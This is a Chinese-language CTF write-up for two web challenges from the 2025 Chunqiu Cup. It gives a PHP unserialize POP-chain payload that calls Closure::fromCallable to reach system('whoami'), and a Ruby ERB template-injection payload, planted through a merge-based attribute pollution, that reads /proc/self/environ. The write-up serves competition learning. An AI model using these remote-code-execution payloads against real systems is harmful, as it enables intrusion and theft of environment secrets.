2025春秋杯夏季个人挑战赛

  1. 2025春秋杯夏季个人挑战赛
    1. WEB
      1. ez-pop
      2. ez-ruby
        1. ERB
    2. MISC

2025春秋杯夏季个人挑战赛

WEB

ez-pop

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
<?php
error_reporting(0);
highlight_file(__FILE__);

class class_A
{
public $s;
public $a;

public function __toString()
{
echo "2 A <br>";
$p = $this->a;
return $this->s->$p;
}
}

class class_B
{
public $c;
public $d;

function is_method($input){
if (strpos($input, '::') === false) {
return false;
}

[$class, $method] = explode('::', $input, 2);

if (!class_exists($class, false)) {
return false;
}

if (!method_exists($class, $method)) {
return false;
}

try {
$refMethod = new ReflectionMethod($class, $method);
return $refMethod->isInternal();
} catch (ReflectionException $e) {
return false;
}
}

function is_class($input){
if (strpos($input, '::') !== false) {
return $this->is_method($input);
}

if (!class_exists($input, false)) {
return false;
}

try {
return (new ReflectionClass($input))->isInternal();
} catch (ReflectionException $e) {
return false;
}
}
public function __get($name)
{
echo "2 B <br>";

$a = $_POST['a'];
$b = $_POST;
$c = $this->c;
$d = $this->d;
if (isset($b['a'])) {
unset($b['a']);
}
if ($this->is_class($a)){
call_user_func($a, $b)($c)($d);
}else{
die("你真该请教一下oSthinggg哥哥了");
}
}
}

class class_C
{
public $c;

public function __destruct()
{
echo "2 C <br>";
echo $this->c;
}
}


if (isset($_GET['un'])) {
$a = unserialize($_GET['un']);
throw new Exception("noooooob!!!你真该请教一下万能的google哥哥了");
}

这个php的pop链很简单,主要是如何利用call_user_func($a, $b)($c)($d);进行rce

$a必须要是内置类或者内置类里面的静态方法,$b是删除了$a的POST数组,$c 和 $d 可以任意控制

经过查找可以知道Closure里面的fromCallable可以调用函数执行命令

1
Closure::fromCallable("system")("whoami");

这样虽然会报错,但也可以执行命令

1
call_user_func('Closure::fromCallable', "system")('whoami')();

但是因为这里的$b是一个$_POST数组,这样传参上去无法执行,因为数组直接当做字符串只会被当做Array,一直报错


这里需要用到php的特性,用数组来调用方法。

利用了 PHP 的可调用值(callable)特性。PHP 允许数组作为可调用对象,格式为 [类名或对象, 方法名]。

例如:

1
2
3
4
5
6
<?php
$b[0] = 'Closure';
$b[1] = 'fromCallable';
$b('system')('whoami');

// 能够成功执行

所以这里可以使用嵌套再次调用Closure::fromCallable

1
call_user_func('Closure::fromCallable', "Closure::fromCallable")('system')('whoami');

所以最终构造的payload就是这样的

1
2
3
4
?un=O:7:"class_C":1:{s:1:"c";O:7:"class_A":2:{s:1:"s";O:7:"class_B":2:{s:1:"c";s:6:"system";s:1:"d";s:6:"whoami";}s:1:"a";s:1:"x";}

POST:
a=Closure::fromCallable&0=Closure&1=fromCallable

ez-ruby

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
require "sinatra"
require "erb"
require "json"

class User
attr_reader :name, :age

def initialize(name="oSthinggg", age=21)
@name = name
@age = age
end

def is_admin?
if to_s == "true"
"a admin,good!give your fake flag! flag{RuBy3rB_1$_s3_1Z}"
else
"not admin,your "+@to_s
end
end

def age
if @age > 20
"old"
else
"young"
end
end


def merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
next_obj = current_obj.respond_to?(key) ? current_obj.public_send(key) : Object.new
current_obj.singleton_class.attr_accessor(key) unless current_obj.respond_to?(key)
current_obj.instance_variable_set("@#{key}", next_obj)
merge(original, value, next_obj)
else
current_obj.singleton_class.attr_accessor(key) unless current_obj.respond_to?(key)
current_obj.instance_variable_set("@#{key}", value)
end
end
original
end
end

user = User.new("oSthinggg", 21)


get "/" do
redirect "/set_age"
end

get "/set_age" do
ERB.new(File.read("views/age.erb", encoding: "UTF-8")).result(binding)
end

post "/set_age" do
request.body.rewind
age = JSON.parse(request.body.read)
user.merge(user,age)
end

get "/view" do
name=user.name().to_s
op_age=user.age().to_s
is_admin=user.is_admin?().to_s
ERB::new("<h1>Hello,oSthinggg!#{op_age} man!you #{is_admin} </h1>").result
end

前置知识:

ERB

ERB是Ruby自带的的内置模版引擎

就是一种模版注入,和jinjia2差不多

格式:

1
2
3
<% Ruby代码 %>

<%= Ruby代码 %>

可以通过注入来进行命令执行

例如:

1
2
3
4
require 'erb'

template = "Hello, <%= 7*7 %>!"
result = ERB.new(template).result(binding)

会输出49


这题类似于js原型链污染,可以看到有merge函数,通过/set_age路由可以污染@to_s变量的值,我们可以通过merge函数修改@to_s变量的值为erb模版注入的代码

在 merge 函数中,关键的两行代码实现了动态属性添加:

ruby

1
2
current_obj.singleton_class.attr_accessor(key)  # 动态创建 getter/setter 方法
current_obj.instance_variable_set("@#{key}", value) # 设置实例变量

例如,当传入 { "to_s" => "模版注入代码" } 时:

  • 调用 attr_accessor(:to_s),为对象动态生成 to_s 和 to_s= 方法。
  • 调用 instance_variable_set("@to_s", "true"),设置实例变量 @to_s 的值为 "模版注入代码"。

然后在/view路由下后会调用is_admin=user.is_admin?().to_s,就会返回恶意代码并且赋值给is_admin,最后再进行模版渲染ERB::new("<h1>Hello,oSthinggg!#{op_age} man!you #{is_admin} </h1>").result从而执行命令

先在/set_age路由下进行污染

1
{"to_s":"<%=`cat /proc/self/environ`%>"}

然后查看/view路由

就能看到flag再环境变量下


MISC


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
MIXBP github
🌙